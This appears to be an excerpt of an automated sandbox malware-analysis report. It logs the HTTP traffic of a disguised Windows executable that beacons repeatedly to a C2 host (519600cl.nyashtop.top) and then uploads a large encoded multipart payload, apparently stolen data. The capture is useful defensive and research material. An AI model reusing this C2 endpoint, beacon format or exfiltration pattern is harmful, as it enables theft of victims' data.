                                                                  Jan 13, 2025 13:11:57.172877073 CET4944OUTData Raw: 51 30 52 79 55 69 74 73 54 44 4d 35 65 6c 4e 45 61 6a 59 77 51 55 49 35 53 30 4e 4c 53 30 52 53 57 56 6f 7a 64 47 52 4d 4e 45 56 50 55 45 56 70 4c 33 64 45 57 45 59 76 4e 56 5a 36 56 6c 68 4f 54 6a 46 4c 4e 44 42 74 4e 79 73 78 56 33 42 56 55 32
                                                                  Data Ascii: Q0RyUitsTDM5elNEajYwQUI5S0NLS0RSWVozdGRMNEVPUEVpL3dEWEYvNVZ6VlhOTjFLNDBtNysxV3BVU2hTb0xMbkdhNDhWVGxWb3loSGRuZ1lHdEdqaUlWSjdKa3VqMkdwZUpQRTYrSXJheGpodEk5UWlaMVg1ZWpxVGdkeUJ5VDcxbitMN3A0ZkYrcDdrT3p6amdpdHEyOFY2blppVVczMmVJU3lHVndrSUFMSHFmeHhXUmV
                                                                  Jan 13, 2025 13:11:57.173064947 CET4944OUTData Raw: 57 6a 5a 6d 55 48 41 79 57 6b 78 50 5a 46 56 73 59 30 5a 61 55 54 42 68 64 6b 68 4c 63 44 5a 6f 61 31 6c 47 56 30 64 6c 59 30 56 6b 55 55 52 55 61 6d 49 7a 4c 30 46 4f 64 47 74 32 51 6d 4e 58 4e 47 78 72 61 6a 68 77 4e 43 39 7a 4d 46 70 6f 57 6b
                                                                  Data Ascii: WjZmUHAyWkxPZFVsY0ZaUTBhdkhLcDZoa1lGV0dlY0VkUURUamIzL0FOdGt2QmNXNGxrajhwNC9zMFpoWk01QU1XM1lSa1orNzE1Njgxb3NKaVZGcHU3ZHRiL2V2bitwbThmZzNOT0tzbGZTMzNQNWYweEJxUWtrMDJTWklZSnJ1MWFTVkl3RVFzc2pwdUFHQUFRbzRIR1FhdUxMR3h3c2lrK3hxaEpaYWhKTGN6bTlYenJtQVc
                                                                  Jan 13, 2025 13:11:57.173198938 CET4944OUTData Raw: 53 6c 64 78 59 32 74 56 65 6e 70 58 52 7a 56 4e 57 6b 46 69 62 47 59 31 56 6d 56 43 51 6b 64 53 57 47 4e 6d 4d 6c 68 77 4d 79 39 42 52 44 52 58 64 69 39 6d 62 47 59 34 53 7a 55 76 57 44 64 48 54 7a 46 31 53 54 56 4a 53 54 46 54 54 31 46 5a 4d 6e
                                                                  Data Ascii: SldxY2tVenpXRzVNWkFibGY1VmVCQkdSWGNmMlhwMy9BRDRXdi9mbGY4SzUvWDdHTzF1STVJSTFTT1FZMnFNQUVWMmNNY1FlMnJMQlZPdnczOHVuM0h4bkdXVzBLa1ByK0hoeXkrMTJkK3ZyZmZ1WTlGSGVscjcwL09SS0tXaWdEMEs0OEo2WkhsNDdVc25jZVkyUit0UXI0ZDBrOWJUL0FNaVAvalhWWnhXVTVIMmlRRCsrZjU
                                                                  Jan 13, 2025 13:11:58.319319963 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:58 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  64192.168.2.45001137.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:56.761699915 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:11:57.110985041 CET2580OUTData Raw: 5f 58 5e 51 51 42 54 5c 5a 5d 56 56 52 51 50 5f 50 59 55 5b 57 57 5a 5e 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: _X^QQBT\Z]VVRQP_PYU[WWZ^T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#83-"">]1+**+_0(5')&!=+&!8_?>'F!.\*
                                                                  Jan 13, 2025 13:11:57.409920931 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:57.581494093 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:57 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  65192.168.2.45001737.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:57.725688934 CET261OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2576
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:11:58.094573975 CET2576OUTData Raw: 5f 58 5b 55 54 45 51 50 5a 5d 56 56 52 58 50 5b 50 5a 55 5c 57 57 5a 5a 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: _X[UTEQPZ]VVRXP[PZU\WWZZT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\ ;35Z "&#;>:/0(U3>+>R0-(_#'W4+'F!.\*%
                                                                  Jan 13, 2025 13:11:58.358792067 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:58.490272045 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:58 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  66192.168.2.45002337.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:58.713274956 CET261OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:11:59.064388990 CET2580OUTData Raw: 5f 58 5b 5e 51 44 54 55 5a 5d 56 56 52 5e 50 5f 50 5f 55 5e 57 52 5a 5a 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: _X[^QDTUZ]VVR^P_P_U^WRZZT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\ /#-[!!%&3=\0$37*/&1"Z))0Y01<>'F!.\*9
                                                                  Jan 13, 2025 13:11:59.362790108 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:59.497538090 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:59 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  67192.168.2.45002937.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:59.639195919 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:11:59.986088991 CET2580OUTData Raw: 5a 5c 5e 52 54 40 51 56 5a 5d 56 56 52 5c 50 5e 50 5f 55 5c 57 56 5a 5c 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: Z\^RT@QVZ]VVR\P^P_U\WVZ\T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\ .3:62=%A*7]$(:%=4U):$T1+/$]?>'F!.\*1
                                                                  Jan 13, 2025 13:12:00.277960062 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:00.449754000 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:00 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  68192.168.2.45003537.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:00.401473045 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2000
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:12:00.751574993 CET2000OUTData Raw: 5a 5f 5b 52 51 43 54 5c 5a 5d 56 56 52 5f 50 5c 50 5b 55 5e 57 52 5a 56 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: Z_[RQCT\Z]VVR_P\P[U^WRZVT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\ ;9\5"6%?><'^)$.,=*?'&^(9'&2$Z).'F!.\*
                                                                  Jan 13, 2025 13:12:01.059335947 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:01.202876091 CET308INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:01 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 152
                                                                  Connection: keep-alive
                                                                  Data Raw: 0c 15 21 53 2a 25 22 57 30 00 3c 52 3b 3c 00 5f 39 2c 2c 01 29 1c 2f 04 2a 39 35 5f 39 3d 23 03 3c 3b 30 5d 28 1f 24 51 24 36 20 1c 2a 29 2b 51 07 11 39 14 26 04 3e 5f 3f 1d 3e 5a 26 22 39 1e 22 23 34 5c 3f 39 0c 1b 30 06 28 11 3c 38 35 5c 3d 0d 29 01 27 2a 2d 05 2b 3f 32 12 3c 3d 2f 5e 08 12 25 1a 3d 0f 25 1f 25 30 19 58 21 11 24 5e 3e 3f 39 52 21 11 3e 51 3e 39 3d 5d 30 3d 26 07 24 10 29 04 25 21 24 1f 32 21 3a 00 24 39 24 50 2f 0f 2c 51 0c 3d 5a 57
                                                                  Data Ascii: !S*%"W0<R;<_9,,)/*95_9=#<;0]($Q$6 *)+Q9&>_?>Z&"9"#4\?90(<85\=)'*-+?2<=/^%=%%0X!$^>?9R!>Q>9=]0=&$)%!$2!:$9$P/,Q=ZW


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  69192.168.2.45003637.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:00.585089922 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:12:00.939173937 CET2580OUTData Raw: 5f 5e 5b 52 54 41 54 55 5a 5d 56 56 52 51 50 5e 50 58 55 5f 57 5e 5a 56 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: _^[RTATUZ]VVRQP^PXU_W^ZVT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#[,#=!1!&7A)#3;%'=8U=9#$%+9(Z028+'F!.\*
                                                                  Jan 13, 2025 13:12:01.215025902 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:01.391599894 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:01 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  70192.168.2.45004037.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:01.786993027 CET261OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:12:02.142216921 CET2580OUTData Raw: 5a 5a 5b 52 54 48 54 50 5a 5d 56 56 52 5a 50 5d 50 5d 55 5f 57 5e 5a 59 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: ZZ[RTHTPZ]VVRZP]P]U_W^ZYT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#8=6T*X&U7)*?\386V%=(V)#'-()'<](.'F!.\*)
                                                                  Jan 13, 2025 13:12:02.423712015 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:02.608264923 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:02 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  71192.168.2.45004837.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:02.741945982 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:12:03.095427990 CET2580OUTData Raw: 5a 5e 5e 52 54 45 54 55 5a 5d 56 56 52 5d 50 5d 50 51 55 5f 57 55 5a 59 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: Z^^RTETUZ]VVR]P]PQU_WUZYT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#/#_ "%/+97%('<*9<R3))_37<.'F!.\*5
                                                                  Jan 13, 2025 13:12:03.370831013 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:03.505557060 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:03 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  72192.168.2.45005437.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:03.681412935 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2576
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:12:04.034472942 CET2576OUTData Raw: 5a 5e 5b 56 51 45 51 54 5a 5d 56 56 52 58 50 5f 50 50 55 55 57 53 5a 5b 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: Z^[VQEQTZ]VVRXP_PPUUWSZ[T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#^,U!Z"T)1)?0;!0=(V)V$2<9;'2 [)>'F!.\*5
                                                                  Jan 13, 2025 13:12:04.319456100 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:04.497128963 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:04 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  73192.168.2.45006037.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:04.657820940 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:12:05.019068003 CET2580OUTData Raw: 5a 5e 5b 56 54 42 54 55 5a 5d 56 56 52 51 50 58 50 51 55 54 57 51 5a 59 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: Z^[VTBTUZ]VVRQPXPQUTWQZYT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\ 85"!)%0(>9,';&R0=8V=*(32!))'017+'F!.\*
                                                                  Jan 13, 2025 13:12:05.396038055 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:05.413341045 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:05 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  74192.168.2.45006537.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:05.397329092 CET284OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 540
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:12:05.754797935 CET540OUTData Raw: 5a 5f 5e 53 54 49 54 5c 5a 5d 56 56 52 5d 50 52 50 58 55 5d 57 5f 5a 5a 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: Z_^STIT\Z]VVR]PRPXU]W_ZZT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#8-6>_13'B*$&W3>;(:#3":Z<*$^$W<<'F!.\*5
                                                                  Jan 13, 2025 13:12:06.025976896 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:06.157366991 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:05 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ
                                                                  Jan 13, 2025 13:12:06.158247948 CET298OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: multipart/form-data; boundary=----E1sgvP1u1UWQvSTEwsHkxHIzDjO2165Hnt
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 165842
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:12:06.344306946 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:06.344538927 CET12360OUTData Raw: 2d 2d 2d 2d 2d 2d 45 31 73 67 76 50 31 75 31 55 57 51 76 53 54 45 77 73 48 6b 78 48 49 7a 44 6a 4f 32 31 36 35 48 6e 74 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 30 22
                                                                  Data Ascii: ------E1sgvP1u1UWQvSTEwsHkxHIzDjO2165HntContent-Disposition: form-data; name="0"Content-Type: text/plain_]^RTFQQZ]VVRPPYPYUTWUZZT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^X
                                                                  Jan 13, 2025 13:12:06.349467039 CET1236OUTData Raw: 55 7a 6c 78 4e 33 59 31 61 55 4a 70 51 55 30 30 55 58 4a 75 51 6b 4a 4c 4e 33 4e 6e 57 6a 52 35 54 56 56 4d 52 7a 64 59 61 33 52 77 64 57 6c 54 59 55 73 33 61 6e 4e 74 4d 33 4e 52 55 45 35 6b 4f 57 6c 6e 59 32 56 36 53 44 5a 4c 5a 6e 42 59 53 6a
                                                                  Data Ascii: UzlxN3Y1aUJpQU00UXJuQkJLN3NnWjR5TVVMRzdYa3RwdWlTYUs3anNtM3NRUE5kOWlnY2V6SDZLZnBYSjlUd0hmOFR2K3Y1bi9BQy9nZC84QThMTy82Zy8vQUpNLy9ZVnkzaVRYZitFaDFHTzcrei9aOWtRaTJiOStjRW5PY0QxcktDUnl2YmkxdmJPNlNhOFN5TWtMdUJISzMzUXdaRllBODhnRWNHb25lQS9hRGIzOW5kTGJ
                                                                  Jan 13, 2025 13:12:06.349474907 CET1236OUTData Raw: 64 47 51 72 59 6d 56 75 4e 45 52 68 53 32 4e 70 4b 32 4d 34 55 58 51 31 62 30 78 6f 53 6b 78 6e 56 7a 52 6c 53 58 56 42 63 45 73 33 5a 33 70 69 62 45 4a 44 61 30 4a 71 62 6b 67 34 52 47 56 73 55 6c 4a 35 53 6b 74 77 59 55 35 6e 4e 6c 70 4a 52 45
